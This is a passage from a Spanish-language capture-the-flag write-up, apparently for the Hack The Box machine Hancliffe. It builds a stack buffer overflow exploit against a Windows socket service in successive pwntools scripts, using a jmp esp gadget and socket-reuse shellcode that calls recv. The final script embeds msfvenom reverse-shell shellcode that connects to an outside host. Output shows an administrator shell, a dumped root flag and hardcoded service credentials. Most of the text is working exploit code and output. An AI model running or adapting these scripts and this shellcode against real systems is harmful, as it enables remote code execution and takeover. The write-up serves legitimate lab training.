_strcpy(local_42, param_1);
}
Esto es vulnerable porque local_42
tiene 50 bytes asignados como buffer, el programa utiliza strcpy
(que se sabe que es vulnerable a Buffer Overflow) y param_1
viene de la función que gestiona la conexión (pcStack32
), y puede contener como máximo 0x50
= 80 bytes:
int UndefinedFunction_71901a3d(SOCKET param_1) {
// ...
if (iStack24 == -1) {
// Error handling
} else if (SStack20 != 0) {
// ...
if (iStack28 == 0) {
// ...
_memset(pcStack36, 0, 100);
_strncpy(pcStack36, pcStack16, 100);
_memset(pcStack16, 0, 0x400);
send(SStack20, "Input Your Code: ", 0x11, 0);
recv(SStack20, pcStack16, 0x400, 0);
_memset(pcStack32, 0, 0x50);
_strncpy(pcStack32, pcStack16, 0x50);
_SaveCreds(pcStack32, pcStack36);
iVar1 = _strncmp(pcStack32, "T3D83CbJkl1299", 0xe);
// ...
}
// ...
}
return iStack24;
}
Las vulnerabilidades de Buffer Overflow pueden desembocar en ejecución de código arbitrario porque podemos sobrescribir la dirección de retorno guardada en la pila (después del buffer reservado) y redirigir el flujo de ejecución.
En primer lugar, necesitamos saber el número de caracteres que tenemos que escribir para sobrescribir la dirección de retorno (que será almacenada en el registro $eip
al retornar de la función _SaveCreds
). Esto puede hacerse con un patrón (cyclic
de pwntools
o algunos comandos de MetaSploit Framework servirán).
Para desarrollar el exploit final, utilizaremos varios archivos, de manera que cada archivo contenga un paso más en el proceso de explotación. Aquí tenemos exploitA.py
:
#!/usr/bin/env python3
from pwn import *
context.log_level = 'DEBUG'
def main():
ip, port = sys.argv[1], int(sys.argv[2])
username = b'alfiansyah'
password = b'K3r4j@@nM4j@pAh!T'
fullname = b'Vickry Alfiansyah'
code = b'T3D83CbJkl1299'
payload = code
payload += cyclic(200)
r = remote(ip, port)
r.sendlineafter(b'Username: ', username)
r.sendlineafter(b'Password: ', password)
r.sendlineafter(b'FullName: ', fullname)
r.sendlineafter(b'Input Your Code: ', payload)
r.close()
if __name__ == '__main__':
main()
Para poder desarrollar el exploit, necesitamos una máquina Windows con un depurador. Esta vez, estaré utilizando x64dbg (realmente, una versión llamada x32dbg porque el binario es de 32 bits).
Otro tema a tener en cuenta es que el servidor de socket escucha en un puerto aleatorio entre el 9000 y el 9999 (se muestra en el registro de salida del servidor). Por este motivo, añadí la dirección IP y el puerto como argumentos de línea de comandos al script de Python. Una vez que el programa está listo para aceptar conexiones, ejecutamos el exploit:
$ python3 exploitA.py 192.168.1.47 9291
[+] Opening connection to 192.168.1.47 on port 9291: Done
[DEBUG] Received 0x1d bytes:
b'Welcome Brankas Application.\n'
[DEBUG] Received 0xa bytes:
b'Username: '
[DEBUG] Sent 0xb bytes:
b'alfiansyah\n'
[DEBUG] Received 0xa bytes:
b'Password: '
[DEBUG] Sent 0x12 bytes:
b'K3r4j@@nM4j@pAh!T\n'
[DEBUG] Received 0x15 bytes:
b'Login Successfully!\r\n'
[DEBUG] Received 0xa bytes:
b'FullName: '
[DEBUG] Sent 0x12 bytes:
b'Vickry Alfiansyah\n'
[DEBUG] Received 0x11 bytes:
b'Input Your Code: '
[DEBUG] Sent 0x203 bytes:
b'T3D83CbJkl1299aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaa\n'
[*] Closed connection to 192.168.1.47 port 9291
El depurador se para y muestra que $eip
tiene valor 0x6161616e
:
El valor 0x6161616e
es naaa
en formato bytes (formato little-endian). Podemos calcular el offset necesario de esta manera:
$ pwn cyclic -l naaa
52
Ahora, vamos a verificar que controlamos $eip
poniendo BBBB
(0x42424242
). Aprovechamos también para añadir otro patrón después de $eip
para medir el espacio disponible en la pila (stack) para escribir. Este es exploitB.py
:
#!/usr/bin/env python3
from pwn import *
def main():
ip, port = sys.argv[1], int(sys.argv[2])
username = b'alfiansyah'
password = b'K3r4j@@nM4j@pAh!T'
fullname = b'Vickry Alfiansyah'
code = b'T3D83CbJkl1299'
offset = 52
payload = code
payload += b'A' * offset
payload += b'BBBB'
payload += cyclic(200)
r = remote(ip, port)
r.sendlineafter(b'Username: ', username)
r.sendlineafter(b'Password: ', password)
r.sendlineafter(b'FullName: ', fullname)
r.sendlineafter(b'Input Your Code: ', payload)
r.close()
if __name__ == '__main__':
main()
En la captura de arriba, vemos que $eip
tiene valor 0x42424242
, como esperábamos. Y también se observa que solamente tenemos 10 bytes de espacio disponible después de sobrescribir la dirección de retorno.
Esto es un problema porque los shellcodes de Windows ocupan más de 300 bytes. Solamente tenemos 52 bytes en la parte de basura (letras A
) y 10 bytes adicionales para añadir algunas instrucciones.
Primero de todo, tenemos que encontrar la dirección a una instrucción jmp esp
en el binario. Esto lo podemos hacer con ROPgadget
:
$ ROPgadget --binary MyFirstApp.exe | grep ': jmp esp'
0x7190239f : jmp esp
En este punto, podemos sobrescribir la dirección de retorno con 0x7190239f
, que es una dirección del binario que ejecuta jmp esp
. Pondremos 8 instrucciones de breakpoint (\xcc
) después de este valor para que el depurador se pare al tratar de ejecutarlas. Este es exploitC.py
:
#!/usr/bin/env python3
from pwn import *
def main():
ip, port = sys.argv[1], int(sys.argv[2])
username = b'alfiansyah'
password = b'K3r4j@@nM4j@pAh!T'
fullname = b'Vickry Alfiansyah'
code = b'T3D83CbJkl1299'
offset = 52
jmp_esp = p32(0x7190239f)
payload = code
payload += b'A' * offset
payload += jmp_esp
payload += b'\xcc' * 8
r = remote(ip, port)
r.sendlineafter(b'Username: ', username)
r.sendlineafter(b'Password: ', password)
r.sendlineafter(b'FullName: ', fullname)
r.sendlineafter(b'Input Your Code: ', payload)
r.close()
if __name__ == '__main__':
main()
Aquí vemos que el programa se ha parado en la primera instrucción de breakpoint, por lo que vamos bien. El siguiente paso será saltar hacia atrás en la pila donde tenemos las letras A
. La idea es añadir instrucciones ahí para ejecutar código arbitrario. La longitud del salto es 56 (52 del offset y 4 de la dirección sobrescrita). Este es exploitD.py
:
#!/usr/bin/env python3
from pwn import *
def main():
ip, port = sys.argv[1], int(sys.argv[2])
username = b'alfiansyah'
password = b'K3r4j@@nM4j@pAh!T'
fullname = b'Vickry Alfiansyah'
code = b'T3D83CbJkl1299'
offset = 52
jmp_esp = p32(0x7190239f)
jmp_back = asm('jmp $-56')
payload = code
payload += b'\xcc' * offset
payload += jmp_esp
payload += jmp_back
payload += b'\xcc' * 8
r = remote(ip, port)
r.sendlineafter(b'Username: ', username)
r.sendlineafter(b'Password: ', password)
r.sendlineafter(b'FullName: ', fullname)
r.sendlineafter(b'Input Your Code: ', payload)
r.close()
if __name__ == '__main__':
main()
Genial, ahora estamos parados en el primer breakpoint del área de relleno. Este gráfico puede ayudar a entender la estrategia de explotación:
Tenemos 52 bytes para escribir shellcode personalizado (el área de color rojo). Como dijimos antes, no hay ningún shellcode común que entre en 52 bytes, por lo que utilizaremos una técnica llamada Socket Reuse (puedes leer este write-up de vulnserver.exe
para más información).
Vamos a llamar a recv
para leer datos adicionales desde la conexión del socket y escribirlos en la pila (stack), de forma que ya no tengamos la limitación del buffer. Para este propósito, 52 bytes son más que suficientes.
Para llamar a recv
necesitamos configurar los argumentos correctamente (más información aquí):
int recv(SOCKET s, char* buf, int len, int flags);
s
es el descriptor de archivo de la conexión del socket (cambia cada vez que el programa se reinicia).buf
es la dirección del espacio de memoria donde escribir los datos recibidos.len
es la longitud máxima que se espera leer.flags
añaden alguna configuración (normalmente estará a0
).
La primera tarea que tenemos que realizar es averiguar dónde se guarda el descriptor de archivo del socket. Para eso, vamos a poner un breakpoint en una llamada a recv
para ver sus argumentos:
Ahora podemos ejecutar el exploit y ver que el programa se para en recv
:
El descriptor de archivo del socket es 0x13c
, y está en la dirección 0x0101ff18
.
Además, vemos que 0x13c
se toma de $ebp - 0x10
y se guarda en $eax
, y luego el valor de $eax
se sube a la pila. Por tanto, 0x13c
también se puede encontrar en 0x0101ff60
($ebp - 0x10
).
Podemos guardar el valor del descriptor de archivo del socket en $eax
mediante las siguientes instrucciones en ensamblador:
add esp, 0x48 # 83 c4 48
pop eax # 58
push eax # 50
sub esp, 0x48 # 83 ec 48
Nótese que añadimos 0x48
al puntero de pila porque 0x0101ff60 - 0x0101ff18 = 0x48
, y además volvemos a subir a la pila para dejarla como estaba. Vamos a ver si funciona con exploitE.py
:
#!/usr/bin/env python3
from pwn import *
def main():
ip, port = sys.argv[1], int(sys.argv[2])
username = b'alfiansyah'
password = b'K3r4j@@nM4j@pAh!T'
fullname = b'Vickry Alfiansyah'
code = b'T3D83CbJkl1299'
offset = 52
jmp_esp = p32(0x7190239f)
jmp_back = asm('jmp $-56')
payload = code
payload += asm('add esp, 0x48')
payload += asm('pop eax')
payload += asm('push eax')
payload += asm('sub esp, 0x48')
payload += b'\xcc' * (offset + len(code) - len(payload))
payload += jmp_esp
payload += jmp_back
payload += b'\xcc' * 8
r = remote(ip, port)
r.sendlineafter(b'Username: ', username)
r.sendlineafter(b'Password: ', password)
r.sendlineafter(b'FullName: ', fullname)
r.sendlineafter(b'Input Your Code: ', payload)
r.close()
if __name__ == '__main__':
main()
Perfecto, todo va bien.
Sin embargo, tendremos un problema que solventar. Si continuamos escribiendo instrucciones, acabaremos por sobrescribirnos a nosotros mismos porque utilizamos la pila. Por tanto, necesitamos disminuir el valor del puntero de pila, por ejemplo 0x64
:
sub esp, 0x64 # 83 ec 64
Ahora preparamos la llamada a recv
. Para ello, tenemos que añadir los argumentos a la pila en sentido inverso (es decir, flags
, len
, buf
, s
y luego usar la instrucción call
) debido a la convención de llamadas a funciones en x86.
El parámetro flags
tendrá un valor de 0
. Como los bytes nulos son bad characters (ya que la función vulnerable es strcpy
y los bytes nulos terminan las cadenas de caracteres en C), tendremos que subir un 0
utilizando una instrucción xor
:
xor ebx, ebx # 31 db
push ebx # 53
El siguiente parámetro es len
, que tendrá un valor de 0x400
(esto es 1024 bytes de espacio para escribir). De nuevo, para evitar los bytes nulos, podemos escribir un simple 0x4
en $bh
y subir $ebx
a la pila:
add bh, 0x4 # 80 c7 04
push ebx # 53
El próximo paso es guardar la dirección donde queremos que los datos sean escritos. Usaremos un cierto offset desde el puntero de la pila para ello:
mov ebx, esp # 89 e3
add ebx, 0x64 # 83 c3 64
push ebx # 53
Finalmente, añadimos el descriptor de archivo del socket, que estaba guardado en $eax
:
push eax # 50
Vamos a escribir exploitF.py
para ver si todos los argumentos están correctamente configurados antes de llamar a recv
:
#!/usr/bin/env python3
from pwn import *
def main():
ip, port = sys.argv[1], int(sys.argv[2])
username = b'alfiansyah'
password = b'K3r4j@@nM4j@pAh!T'
fullname = b'Vickry Alfiansyah'
code = b'T3D83CbJkl1299'
offset = 52
jmp_esp = p32(0x7190239f)
jmp_back = asm('jmp $-56')
payload = code
payload += asm('add esp, 0x48')
payload += asm('pop eax')
payload += asm('push eax')
payload += asm('sub esp, 0x48')
payload += asm('sub esp, 0x64')
payload += asm('xor ebx, ebx')
payload += asm('push ebx')
payload += asm('add bh, 0x04')
payload += asm('push ebx')
payload += asm('mov ebx, esp')
payload += asm('add ebx, 0x64')
payload += asm('push ebx')
payload += asm('push eax')
payload += b'\xcc' * (offset + len(code) - len(payload))
payload += jmp_esp
payload += jmp_back
payload += b'\xcc' * 8
r = remote(ip, port)
r.sendlineafter(b'Username: ', username)
r.sendlineafter(b'Password: ', password)
r.sendlineafter(b'FullName: ', fullname)
r.sendlineafter(b'Input Your Code: ', payload)
r.close()
if __name__ == '__main__':
main()
Ahora podemos llamar a recv
, cuya dirección en el binario es 0x719082ac
(aparece en la captura de pantalla con el breakpoint). Entonces podemos utilizar unas instrucciones como estas:
mov eax, ds:0x719082ac # a1 ac 82 90 71
call eax # ff d0
Añadí instrucciones de breakpoint para ver si el socket recibía y ejecutaba el segundo payload. También cambié las instrucciones de breakpoint del primer payload y puse instruciones nop
(\x90
).
Este es exploitG.py
:
#!/usr/bin/env python3
from pwn import *
def main():
ip, port = sys.argv[1], int(sys.argv[2])
username = b'alfiansyah'
password = b'K3r4j@@nM4j@pAh!T'
fullname = b'Vickry Alfiansyah'
code = b'T3D83CbJkl1299'
offset = 52
jmp_esp = p32(0x7190239f)
jmp_back = asm('jmp $-56')
payload = code
payload += asm('add esp, 0x48')
payload += asm('pop eax')
payload += asm('push eax')
payload += asm('sub esp, 0x48')
payload += asm('sub esp, 0x64')
payload += asm('xor ebx, ebx')
payload += asm('push ebx')
payload += asm('add bh, 0x04')
payload += asm('push ebx')
payload += asm('mov ebx, esp')
payload += asm('add ebx, 0x64')
payload += asm('push ebx')
payload += asm('push eax')
payload += asm('mov eax, dword ptr ds:0x719082ac')
payload += asm('call eax')
payload += b'\x90' * (offset + len(code) - len(payload))
payload += jmp_esp
payload += jmp_back
payload += b'\x90' * 8
r = remote(ip, port)
r.sendlineafter(b'Username: ', username)
r.sendlineafter(b'Password: ', password)
r.sendlineafter(b'FullName: ', fullname)
r.sendlineafter(b'Input Your Code: ', payload)
shellcode = b'\xcc' * 400
sleep(1)
r.sendline(shellcode)
if __name__ == '__main__':
main()
Ok, se ejecuta el segundo payload. Ahora podemos crear shellcode con msfvenom
para conseguir una reverse shell en la máquina víctima:
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.17.44 LPORT=4444 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of c file: 1386 bytes
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x0a\x11\x2c\x68"
"\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
Y este es el exploit final (exploitH.py
):
#!/usr/bin/env python3
from pwn import *
def main():
ip, port = sys.argv[1], int(sys.argv[2])
username = b'alfiansyah'
password = b'K3r4j@@nM4j@pAh!T'
fullname = b'Vickry Alfiansyah'
code = b'T3D83CbJkl1299'
offset = 52
jmp_esp = p32(0x7190239f)
jmp_back = asm('jmp $-56')
payload = code
payload += asm('add esp, 0x48')
payload += asm('pop eax')
payload += asm('push eax')
payload += asm('sub esp, 0x48')
payload += asm('sub esp, 0x64')
payload += asm('xor ebx, ebx')
payload += asm('push ebx')
payload += asm('add bh, 0x04')
payload += asm('push ebx')
payload += asm('mov ebx, esp')
payload += asm('add ebx, 0x64')
payload += asm('push ebx')
payload += asm('push eax')
payload += asm('mov eax, ds:0x719082ac')
payload += asm('call eax')
payload += b'\x90' * (offset + len(code) - len(payload))
payload += jmp_esp
payload += jmp_back
payload += b'\x90' * 8
r = remote(ip, port)
r.sendlineafter(b'Username: ', username)
r.sendlineafter(b'Password: ', password)
r.sendlineafter(b'FullName: ', fullname)
r.sendlineafter(b'Input Your Code: ', payload)
shellcode = (
b'\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30'
b'\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff'
b'\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52'
b'\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1'
b'\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b'
b'\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03'
b'\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b'
b'\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24'
b'\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb'
b'\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c'
b'\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68'
b'\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68'
b'\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x0a\x11\x2c\x68'
b'\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61'
b'\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2'
b'\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6'
b'\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44'
b'\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56'
b'\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff'
b'\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6'
b'\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb'
b'\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5'
)
sleep(1)
r.sendline(shellcode)
if __name__ == '__main__':
main()
Si lo lanzamos contra la máquina víctima, conseguimos acceso como Administrator
:
$ python3 exploitH.py 10.10.11.115 9999
[+] Opening connection to 10.10.11.115 on port 9999: Done
[*] Closed connection to 10.10.11.115 port 9999
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.115.
Ncat: Connection from 10.10.11.115:59614.
Microsoft Windows [Version 10.0.19043.1266]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
hancliffe\administrator
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
e4d75760f0ac306abc83fefd82f85c36
El exploit final se puede encontrar aquí: exploit.py
.